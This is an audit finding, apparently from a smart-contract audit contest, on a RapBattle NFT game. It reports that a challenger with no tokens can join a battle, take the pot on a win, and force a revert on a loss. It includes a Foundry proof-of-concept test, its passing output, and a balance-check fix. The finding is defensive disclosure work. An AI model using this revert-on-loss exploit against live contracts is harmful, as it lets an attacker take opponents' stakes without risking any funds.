Beginner FriendlyFoundryNFT
100 EXP
View results
Submission Details
Severity: high
Valid

Challenger can win the battle without having cred in his wallet

Summary

Challenger getting unfair advantage

Vulnerability Details

When there is valid defender is available, challenger can enter in the battle using goOnStageOrBattle which calls the internal function _battle. This function has major flaw. It doesn't check if challenger has enough tokens that he inputted as _credBet.
If challenger wins, then it send the contract cred balance to challenger which is good. But when defender won, the function will revert due to insufficient balance in challenger wallet. This is win win situation for the challenger. Arbitrum has low gas fees, so challenger can try again and again.

POC

in existing test suite, add following unit test -

function testChallengerIsWinningWhileHavingZeroToken() public twoSkilledRappers {
address challengerWithoutCred = makeAddr("slimestShady");
vm.startPrank(user);
oneShot.approve(address(rapBattle), 0);
cred.approve(address(rapBattle), 3);
console.log("User allowance before battle:", cred.allowance(user, address(rapBattle)));
rapBattle.goOnStageOrBattle(0, 3);
vm.stopPrank();
vm.startPrank(challengerWithoutCred);
cred.approve(address(rapBattle), 3);
console2.log("User allowance before battle:", cred.allowance(challengerWithoutCred, address(rapBattle)));
console2.log("ChallengerWithoutCred balance before battle:", cred.balanceOf(challengerWithoutCred));
// use random block number so we get different RNG
vm.roll(1708858010);
vm.recordLogs();
rapBattle.goOnStageOrBattle(2, 3);
vm.stopPrank();
Vm.Log[] memory entries = vm.getRecordedLogs();
// Convert the event bytes32 objects -> address
address winner = address(uint160(uint256(entries[0].topics[2])));
assert(cred.balanceOf(winner) == 3);
console2.log("challengerWithoutCred balance:", cred.balanceOf(winner));
}

now run the following command in your terminal forge test --mt testChallengerIsWinningWhileHavingZeroToken -vv and it will return following

[⠒] Compiling...
[⠒] Compiling 1 files with 0.8.23
[⠑] Solc 0.8.23 finished in 1.99s
Compiler run successful!
Ran 1 test for test/OneShotTest.t.sol:RapBattleTest
[PASS] testChallengerIsWinningWhileHavingZeroToken() (gas: 648208)
Logs:
User allowance before battle: 3
User allowance before battle: 3
ChallengerWithoutCred balance before battle: 0
challengerWithoutCred balance: 3
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.48ms
Ran 1 test suite in 1.48ms: 1 tests passed, 0 failed, 0 skipped (1 total tests)

Impact

Defender will loose the opportunity to win, even if it's in there favor. Challenger gonna win due to without putting anything at risk.

Tools Used

Manual Review, Foundry

Recommendations

Check if has enough cred token balance in his wallet, before executing the function

function _battle(uint256 _tokenId, uint256 _credBet) internal {
address _defender = defender;
require(defenderBet == _credBet, "RapBattle: Bet amounts do not match");
+ require(credToken.balanceOf(msg.sender) >= _credBet, "You don't have enough cred token");
/// existing code
}
Updates

Lead Judging Commences

inallhonesty Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

missing check for sufficient `_credBet_` approval

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.